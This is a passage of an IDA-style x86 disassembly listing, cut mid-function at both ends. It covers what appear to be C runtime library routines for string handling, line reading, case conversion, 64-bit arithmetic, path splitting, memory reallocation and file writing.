loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: sub_418DE0+5Cj ; sub_418DE0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC jmp short loc_418E7C ; --------------------------------------------------------------------------- loc_418E60: ; CODE XREF: sub_418DE0+75j ; sub_418DE0+93j mov dl, [esi] inc esi test dl, dl jz short loc_418E9A mov [edi], dl inc edi dec ecx jz short loc_418E90 test esi, 3 jnz short loc_418E60 mov ebx, ecx shr ecx, 2 jnz short loc_418EAC loc_418E7C: ; CODE XREF: sub_418DE0+7Ej ; sub_418DE0+CAj mov ecx, ebx and ecx, 3 jz short loc_418E90 loc_418E83: ; CODE XREF: sub_418DE0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_418E92 dec ecx jnz short loc_418E83 loc_418E90: ; CODE XREF: sub_418DE0+8Bj ; sub_418DE0+A1j mov [edi], cl loc_418E92: ; CODE XREF: sub_418DE0+ABj pop ebx pop esi loc_418E94: ; CODE XREF: sub_418DE0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418E9A: ; CODE XREF: sub_418DE0+85j ; sub_418DE0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EA4: ; CODE XREF: sub_418DE0+E4j ; sub_418DE0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_418E7C loc_418EAC: ; CODE XREF: sub_418DE0+7Cj ; sub_418DE0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418EA4 test dl, dl jz short loc_418E9A test dh, dh jz short loc_418EF8 test edx, 0FF0000h jz short loc_418EE8 test edx, 0FF000000h jnz short loc_418EA4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EE8: ; CODE XREF: sub_418DE0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418EF8: ; CODE XREF: sub_418DE0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418F10 proc near ; CODE XREF: sub_407252+2A2p ; sub_40EE72+31DBp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_418F31 xor eax, eax jmp short loc_418F33 ; --------------------------------------------------------------------------- loc_418F31: ; CODE XREF: sub_418F10+1Bj mov eax, edi loc_418F33: ; CODE XREF: sub_418F10+1Fj cld pop edi leave retn sub_418F10 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418F50 loc_418F40: ; CODE XREF: sub_418F50+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_418F50 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_408C26+DBp ; sub_40DAF0+32p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 00418F40 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_418F56: ; CODE XREF: sub_417880+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_418F7B loc_418F68: ; CODE XREF: sub_418F50+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_418F40 test cl, cl jz short loc_418FC4 test edx, 3 jnz short loc_418F68 loc_418F7B: ; CODE XREF: sub_418F50+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_418F86: ; CODE XREF: sub_418F50+61j ; sub_418F50+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_418FC8 and eax, 81010100h jz short loc_418F86 and eax, 1010100h jnz short loc_418FC2 and esi, 80000000h jnz short loc_418F86 loc_418FC2: ; CODE XREF: sub_418F50+68j ; sub_418F50+81j ... pop esi pop edi loc_418FC4: ; CODE XREF: sub_418F50+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_418FC8: ; CODE XREF: sub_418F50+5Aj mov eax, [edx-4] cmp al, bl jz short loc_419005 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FFE test ah, ah jz short loc_418FC2 shr eax, 10h cmp al, bl jz short loc_418FF7 test al, al jz short loc_418FC2 cmp ah, bl jz short loc_418FF0 test ah, ah jz short loc_418FC2 jmp short loc_418F86 ; --------------------------------------------------------------------------- loc_418FF0: ; CODE XREF: sub_418F50+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_418FF7: ; CODE XREF: sub_418F50+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_418FFE: ; CODE XREF: sub_418F50+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_419005: ; CODE XREF: sub_418F50+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_418F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41900C proc near ; CODE XREF: sub_408C26+AFp ; sub_40EE72+47F2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_419020 xor eax, eax jmp short loc_419056 ; --------------------------------------------------------------------------- loc_419020: ; CODE XREF: sub_41900C+Ej dec [ebp+arg_4] push esi jz short loc_419050 mov esi, [ebp+arg_8] loc_419029: ; CODE XREF: sub_41900C+42j dec dword ptr [esi+4] js short loc_419038 mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41903F ; --------------------------------------------------------------------------- loc_419038: ; CODE XREF: sub_41900C+20j push esi call sub_41E248 pop ecx loc_41903F: ; CODE XREF: sub_41900C+2Aj cmp eax, 0FFFFFFFFh jz short loc_41905A mov [edi], al inc edi cmp al, 0Ah jz short loc_419050 dec [ebp+arg_4] jnz short loc_419029 loc_419050: ; CODE XREF: sub_41900C+18j ; sub_41900C+3Dj ... and byte ptr [edi], 0 loc_419053: ; CODE XREF: sub_41900C+55j mov eax, ebx pop esi loc_419056: ; CODE XREF: sub_41900C+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41905A: ; CODE XREF: sub_41900C+36j cmp edi, [ebp+arg_0] jnz short loc_419050 xor ebx, ebx jmp short loc_419053 sub_41900C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419063 proc near ; CODE XREF: sub_409209+BFp ; sub_409209+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4CDA48 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short loc_419097 mov eax, [ebp+arg_0] mov edx, eax cmp [eax], bl jz short loc_4190FE loc_41907F: ; CODE XREF: sub_419063+30j mov cl, [edx] cmp cl, 61h jl short loc_419090 cmp cl, 7Ah jg short loc_419090 sub cl, 20h mov [edx], cl loc_419090: ; CODE XREF: sub_419063+21j ; sub_419063+26j inc edx cmp [edx], bl jnz short loc_41907F jmp short loc_4190FE ; --------------------------------------------------------------------------- loc_419097: ; CODE XREF: sub_419063+11j push esi push edi push 1 push ebx push ebx push ebx push 0FFFFFFFFh mov esi, 200h push [ebp+arg_0] push esi push eax call sub_41E709 mov edi, eax add esp, 20h cmp edi, ebx jz short loc_4190F0 push edi call sub_417B89 cmp eax, ebx pop ecx mov [ebp+var_4], eax jz short loc_4190F0 push 1 push ebx push edi push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_4190F0 push [ebp+var_4] push [ebp+arg_0] call sub_4179C0 pop ecx pop ecx loc_4190F0: ; CODE XREF: sub_419063+53j ; sub_419063+61j ... push [ebp+var_4] call sub_417C3B mov eax, [ebp+arg_0] pop ecx pop edi pop esi loc_4190FE: ; CODE XREF: sub_419063+1Aj ; sub_419063+32j pop ebx leave retn sub_419063 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419101 proc near ; CODE XREF: sub_40A951+6p ; sub_40A96F+4Ap ... var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4CDA48, 0 push ebx push esi push edi jnz short loc_41912E mov eax, [ebp+arg_0] cmp eax, 41h jl loc_4191C7 cmp eax, 5Ah jg loc_4191C7 add eax, 20h jmp loc_4191C7 ; --------------------------------------------------------------------------- loc_41912E: ; CODE XREF: sub_419101+Ej mov ebx, [ebp+arg_0] mov edi, 100h push 1 cmp ebx, edi pop esi jge short loc_419162 cmp dword_433E7C, esi jle short loc_419150 push esi push ebx call sub_41A642 pop ecx pop ecx jmp short loc_41915A ; --------------------------------------------------------------------------- loc_419150: ; CODE XREF: sub_419101+42j mov eax, off_433C70 mov al, [eax+ebx*2] and eax, esi loc_41915A: ; CODE XREF: sub_419101+4Dj test eax, eax jnz short loc_419162 loc_41915E: ; CODE XREF: sub_419101+ADj mov eax, ebx jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_419162: ; CODE XREF: sub_419101+3Aj ; sub_419101+5Bj mov edx, off_433C70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_419186 and byte ptr [ebp+arg_0+2], 0 push 2 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl pop eax jmp short loc_41918F ; --------------------------------------------------------------------------- loc_419186: ; CODE XREF: sub_419101+74j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl mov eax, esi loc_41918F: ; CODE XREF: sub_419101+83j push esi push 0 lea ecx, [ebp+var_4] push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push edi push dword_4CDA48 call sub_41E709 add esp, 20h test eax, eax jz short loc_41915E cmp eax, esi jnz short loc_4191BA movzx eax, [ebp+var_4] jmp short loc_4191C7 ; --------------------------------------------------------------------------- loc_4191BA: ; CODE XREF: sub_419101+B1j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4191C7: ; CODE XREF: sub_419101+16j ; sub_419101+1Fj ... pop edi pop esi pop ebx leave retn sub_419101 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4191D0 proc near ; CODE XREF: sub_40B822+3Dp ; sub_40D01A+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_4191F1 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_419241 ; --------------------------------------------------------------------------- loc_4191F1: ; CODE XREF: sub_4191D0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_4191FF: ; CODE XREF: sub_4191D0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4191FF div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41922A cmp edx, [esp+4+arg_4] ja short loc_41922A jb short loc_419232 cmp eax, [esp+4+arg_0] jbe short loc_419232 loc_41922A: ; CODE XREF: sub_4191D0+4Aj ; sub_4191D0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_419232: ; CODE XREF: sub_4191D0+52j ; sub_4191D0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_419241: ; CODE XREF: sub_4191D0+1Fj pop ebx retn 10h sub_4191D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419250 proc near ; CODE XREF: sub_40B822+24p ; sub_40D01A+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_419272 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4192B3 ; --------------------------------------------------------------------------- loc_419272: ; CODE XREF: sub_419250+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_419280: ; CODE XREF: sub_419250+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_419280 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4192AE cmp edx, [esp+8+arg_4] ja short loc_4192AE jb short loc_4192AF cmp eax, [esp+8+arg_0] jbe short loc_4192AF loc_4192AE: ; CODE XREF: sub_419250+4Ej ; sub_419250+54j dec esi loc_4192AF: ; CODE XREF: sub_419250+56j ; sub_419250+5Cj xor edx, edx mov eax, esi loc_4192B3: ; CODE XREF: sub_419250+20j pop esi pop ebx retn 10h sub_419250 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192B8 proc near ; CODE XREF: sub_40B8D8+1E3p ; ___:0040E7A0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_417AB0 cmp eax, 1 pop ecx jb short loc_4192F3 cmp byte ptr [ebx+1], 3Ah jnz short loc_4192F3 mov esi, [ebp+arg_4] test esi, esi jz short loc_4192EF push 2 push ebx push esi call sub_41ED0D add esp, 0Ch and byte ptr [esi+2], 0 loc_4192EF: ; CODE XREF: sub_4192B8+25j inc ebx inc ebx jmp short loc_4192FD ; --------------------------------------------------------------------------- loc_4192F3: ; CODE XREF: sub_4192B8+18j ; sub_4192B8+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_4192FD and byte ptr [eax], 0 loc_4192FD: ; CODE XREF: sub_4192B8+39j ; sub_4192B8+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_419375 loc_419310: ; CODE XREF: sub_4192B8+87j mov cl, [eax] movzx edx, cl test byte_4CEF01[edx], 4 jz short loc_419321 inc eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419321: ; CODE XREF: sub_4192B8+64j cmp cl, 2Fh jz short loc_419335 cmp cl, 5Ch jz short loc_419335 cmp cl, 2Eh jnz short loc_41933B mov [ebp+var_4], eax jmp short loc_41933B ; --------------------------------------------------------------------------- loc_419335: ; CODE XREF: sub_4192B8+6Cj ; sub_4192B8+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41933B: ; CODE XREF: sub_4192B8+67j ; sub_4192B8+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_419310 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_419375 cmp [ebp+arg_8], 0 jz short loc_419370 sub edi, ebx cmp edi, esi jb short loc_419359 mov edi, esi loc_419359: ; CODE XREF: sub_4192B8+9Dj push edi push ebx push [ebp+arg_8] call sub_41ED0D mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_419370: ; CODE XREF: sub_4192B8+97j mov ebx, [ebp+arg_4] jmp short loc_41937F ; --------------------------------------------------------------------------- loc_419375: ; CODE XREF: sub_4192B8+56j ; sub_4192B8+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41937F and byte ptr [ecx], 0 loc_41937F: ; CODE XREF: sub_4192B8+BBj ; sub_4192B8+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_4193D2 cmp edi, ebx jb short loc_4193D2 cmp [ebp+arg_C], 0 jz short loc_4193AF sub edi, ebx cmp edi, esi jb short loc_419398 mov edi, esi loc_419398: ; CODE XREF: sub_4192B8+DCj push edi push ebx push [ebp+arg_C] call sub_41ED0D mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4193AF: ; CODE XREF: sub_4192B8+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_4193FA sub eax, [ebp+var_4] cmp eax, esi jnb short loc_4193BF mov esi, eax loc_4193BF: ; CODE XREF: sub_4192B8+103j push esi push [ebp+var_4] push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D2: ; CODE XREF: sub_4192B8+CCj ; sub_4192B8+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_4193F0 sub eax, ebx cmp eax, esi jnb short loc_4193E1 mov esi, eax loc_4193E1: ; CODE XREF: sub_4192B8+125j push esi push ebx push edi call sub_41ED0D add esp, 0Ch and byte ptr [esi+edi], 0 loc_4193F0: ; CODE XREF: sub_4192B8+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_4193FA and byte ptr [eax], 0 loc_4193FA: ; CODE XREF: sub_4192B8+FCj ; sub_4192B8+118j ... pop edi pop esi pop ebx leave retn sub_4192B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193FF proc near ; CODE XREF: sub_40BFE1+19p ; sub_40D633+1Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_419E38 add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41943D mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41944A ; --------------------------------------------------------------------------- loc_41943D: ; CODE XREF: sub_4193FF+34j lea eax, [ebp+var_20] push eax push 0 call sub_419D23 pop ecx pop ecx loc_41944A: ; CODE XREF: sub_4193FF+3Cj mov eax, esi pop esi leave retn sub_4193FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41944F proc near ; CODE XREF: sub_40C259+2Ep ; sub_418603+35p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41946A push [ebp+arg_4] call sub_417B89 pop ecx jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41946A: ; CODE XREF: sub_41944F+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41947F push [ebp+arg_0] call sub_417C3B pop ecx jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_41947F: ; CODE XREF: sub_41944F+20j mov eax, dword_4CF028 cmp eax, 3 jnz loc_41958F loc_41948D: ; CODE XREF: sub_41944F+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41956B push [ebp+arg_0] call sub_41AD89 mov ebx, eax pop ecx test ebx, ebx jz loc_419546 cmp esi, dword_4CF020 ja short loc_4194FF mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41B592 add esp, 0Ch test eax, eax jnz short loc_4194FB push esi call sub_41B0DD mov edi, eax pop ecx test edi, edi jz short loc_4194FF mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_4194DF mov eax, esi loc_4194DF: ; CODE XREF: sub_41944F+8Cj push eax push ebx push edi call sub_417390 push ebx call sub_41AD89 push [ebp+arg_0] mov ebx, eax push ebx call sub_41ADB4 add esp, 18h loc_4194FB: ; CODE XREF: sub_41944F+74j test edi, edi jnz short loc_419542 loc_4194FF: ; CODE XREF: sub_41944F+62j ; sub_41944F+81j test esi, esi jnz short loc_419506 push 1 pop esi loc_419506: ; CODE XREF: sub_41944F+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4CF024 nop call near ptr 2710000h mov edi, eax test edi, edi jz short loc_419542 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41952E mov eax, esi loc_41952E: ; CODE XREF: sub_41944F+DBj push eax push ecx push edi call sub_417390 push [ebp+arg_0] push ebx call sub_41ADB4 add esp, 14h loc_419542: ; CODE XREF: sub_41944F+AEj ; sub_41944F+D0j test ebx, ebx jnz short loc_419567 loc_419546: ; CODE XREF: sub_41944F+56j test esi, esi jnz short loc_41954D push 1 pop esi loc_41954D: ; CODE XREF: sub_41944F+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2820000h mov edi, eax loc_419567: ; CODE XREF: sub_41944F+F5j test edi, edi jnz short loc_419588 loc_41956B: ; CODE XREF: sub_41944F+43j cmp dword_4CDA14, 0 jz short loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_41948D jmp loc_4196E8 ; --------------------------------------------------------------------------- loc_419588: ; CODE XREF: sub_41944F+11Aj ; sub_41944F+123j ... mov eax, edi jmp loc_4196EA ; --------------------------------------------------------------------------- loc_41958F: ; CODE XREF: sub_41944F+38j cmp eax, 2 jnz loc_4196AA cmp esi, 0FFFFFFE0h ja short loc_4195AC test esi, esi jbe short loc_4195A9 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_4195AC ; --------------------------------------------------------------------------- loc_4195A9: ; CODE XREF: sub_41944F+150j push 10h pop esi loc_4195AC: ; CODE XREF: sub_41944F+14Cj ; sub_41944F+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41968C lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41BAE4 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_419670 cmp esi, dword_435EB4 jnb short loc_419634 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BEAC add esp, 10h test eax, eax jz short loc_4195FA mov edi, [ebp+arg_0] jmp short loc_41962C ; --------------------------------------------------------------------------- loc_4195FA: ; CODE XREF: sub_41944F+1A4j push edi call sub_41BB80 mov edi, eax pop ecx test edi, edi jz short loc_419634 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419613 mov eax, esi loc_419613: ; CODE XREF: sub_41944F+1C0j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h loc_41962C: ; CODE XREF: sub_41944F+1A9j test edi, edi jnz loc_419588 loc_419634: ; CODE XREF: sub_41944F+18Bj ; sub_41944F+1B6j push esi push 0 push dword_4CF024 nop call near ptr 2710000h mov edi, eax test edi, edi jz short loc_41968C movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_419655 mov eax, esi loc_419655: ; CODE XREF: sub_41944F+202j push eax push [ebp+arg_0] push edi call sub_417390 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41BB3B add esp, 18h jmp short loc_419684 ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_41944F+17Fj push esi push [ebp+arg_0] push 0 push dword_4CF024 nop call near ptr 2820000h mov edi, eax loc_419684: ; CODE XREF: sub_41944F+21Fj test edi, edi jnz loc_419588 loc_41968C: ; CODE XREF: sub_41944F+162j ; sub_41944F+1F8j cmp dword_4CDA14, 0 jz loc_419588 push esi call sub_41AB54 test eax, eax pop ecx jnz loc_4195AC jmp short loc_4196E8 ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_41944F+143j ; sub_41944F+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4196D4 test esi, esi jnz short loc_4196B8 push 1 pop esi loc_4196B8: ; CODE XREF: sub_41944F+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4CF024 call near ptr 2820000h nop test eax, eax jnz short loc_4196EA loc_4196D4: ; CODE XREF: sub_41944F+260j cmp dword_4CDA14, 0 jz short loc_4196EA push esi call sub_41AB54 test eax, eax pop ecx jnz short loc_4196AA loc_4196E8: ; CODE XREF: sub_41944F+2Bj ; sub_41944F+134j ... xor eax, eax loc_4196EA: ; CODE XREF: sub_41944F+16j ; sub_41944F+13Bj ... pop edi pop esi pop ebx leave retn sub_41944F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196EF proc near ; CODE XREF: sub_40C8B4+127p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_419713 xor eax, eax jmp loc_4197E0 ; --------------------------------------------------------------------------- loc_419713: ; CODE XREF: sub_4196EF+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_419726 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41972D ; --------------------------------------------------------------------------- loc_419726: ; CODE XREF: sub_4196EF+2Dj mov [ebp+arg_C], 1000h loc_41972D: ; CODE XREF: sub_4196EF+35j ; sub_4196EF+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_419761 mov eax, [esi+4] test eax, eax jz short loc_419761 cmp ebx, eax mov edi, ebx jb short loc_419747 mov edi, eax loc_419747: ; CODE XREF: sub_4196EF+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_417390 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_4197A7 ; --------------------------------------------------------------------------- loc_419761: ; CODE XREF: sub_4196EF+47j ; sub_4196EF+4Ej cmp ebx, [ebp+arg_C] jb short loc_4197AC test ecx, ecx jz short loc_419775 push esi call sub_41A7D0 test eax, eax pop ecx jnz short loc_4197EE loc_419775: ; CODE XREF: sub_4196EF+79j cmp [ebp+arg_C], 0 jz short loc_419788 mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41978A ; --------------------------------------------------------------------------- loc_419788: ; CODE XREF: sub_4196EF+8Aj mov edi, ebx loc_41978A: ; CODE XREF: sub_4196EF+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_4197E5 add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_4197E5 loc_4197A7: ; CODE XREF: sub_4196EF+70j mov edi, [ebp+var_4] jmp short loc_4197D5 ; --------------------------------------------------------------------------- loc_4197AC: ; CODE XREF: sub_4196EF+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_419D23 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4197EE inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_4197D5 mov [ebp+arg_C], 1 loc_4197D5: ; CODE XREF: sub_4196EF+BBj ; sub_4196EF+DDj test ebx, ebx jnz loc_41972D mov eax, [ebp+arg_8] loc_4197E0: ; CODE XREF: sub_4196EF+1Fj ; sub_4196EF+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4197E5: ; CODE XREF: sub_4196EF+ADj ; sub_4196EF+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j 